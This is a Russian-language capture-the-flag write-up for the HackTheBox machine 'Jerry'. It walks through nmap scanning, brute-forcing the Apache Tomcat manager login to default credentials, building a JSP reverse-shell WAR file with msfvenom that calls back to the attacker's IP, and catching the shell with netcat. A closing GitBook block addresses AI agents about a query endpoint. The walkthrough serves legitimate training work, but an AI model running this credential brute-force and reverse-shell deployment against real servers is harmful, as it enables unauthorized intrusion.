> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md).

# Запись HackTheBox Jerry

{% embed url="<https://app.hackthebox.com/machines/Jerry>" %}

{% hint style="warning" %}
**Навыки:**

* Утечка информации
* Эксплуатация Tomcat (проникновение и повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/1d166a889078c0f04ed4ccb909d3ed9b459d25a6" alt=""><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/68a0075ac895ee62a32d3d04c087f48d7c77db26" alt=""><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -min-rate 5000 -Pn 10.10.10.95 -oG allPorts
```

<figure><img src="/files/df11d13a4148aa0370b0b5163a33ead3120364fc" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена.

<figure><img src="/files/3ed1b108a1e6ed28244d1ba4be0b49f411d82bde" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p8080 10.10.10.95 -oN targeted
```

<figure><img src="/files/c5e1a0f0236eefdbb22ccc6ef8cd573a2f236e40" alt=""><figcaption></figcaption></figure>

## Порт 8080 — Tomcat

На порту 8080 работает сервер **Apache Tomcat**. Анализ с `whatweb` показывает **7.0.88** версию, которая, как известно, уязвима.

<div data-full-width="true"><figure><img src="/files/0bdfbf9b530e8ee06568a7b3f821d8effdf45c2c" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/3070401e440c8c8868fe854c78058b155c6f52b8" alt=""><figcaption></figcaption></figure>

### Утечка информации

**Подключение к административной панели**

<figure><img src="/files/f143e2dcaadd8764caa62c162f26d1637a2e03ef" alt=""><figcaption></figcaption></figure>

Мы пытаемся получить доступ к `/manager/html` панели с учетными данными по умолчанию (например, `admin:admin`), но это не удается.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

/*/* Атака перебором идентификаторов/*/*

Мы используем SecLists `tomcat-betterdefaultpasslist.txt` словарь для проведения атаки грубой силы на учетные данные:

Чтобы автоматизировать эту задачу, мы используем скрипт Python:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Результат:** Найденные действительные учетные данные:/ `tomcat:s3cret`

<figure><img src="/files/312c95c07ba823d2605c1516cecde5a427b7f194" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d286d1e0f7ee32aea31649b262c385019ec04f67" alt=""><figcaption></figcaption></figure>

### Уязвимость Tomcat:

**1. Создание WAR-файла:**/ Мы используем `msfvenom` чтобы создать WAR-файл, содержащий обратную оболочку:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/89a48e8af30c5409fe6076308ae070f44a4aab09" alt=""><figcaption></figcaption></figure>

**2. Развертывание через Tomcat Manager:**/ Мы загружаем WAR-файл в `/manager/html` панели.

<figure><img src="/files/c8725cdf871e7c0dd7515a187d2c87801dc30fe8" alt="" width="563"><figcaption></figcaption></figure>

**3. Прослушивание обратной оболочки:**/ Мы настраиваем слушатель для перехвата обратного соединения:

```bash
rlwrap nc -nlvp 443
```

Запустив развернутый файл (`/reverse`), мы получаем интерактивную оболочку на целевой машине.

<figure><img src="/files/b4e96dc8f21eca3afca614241e382f1c93f2f953" alt=""><figcaption></figcaption></figure>

### Флаги user.txt + root.txt :)

<figure><img src="/files/b6f81fd98571b7f970b4af985f706baa2cab6691" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7714f53371da086c08cb2a9737611988ddf89219" alt="" width="509"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
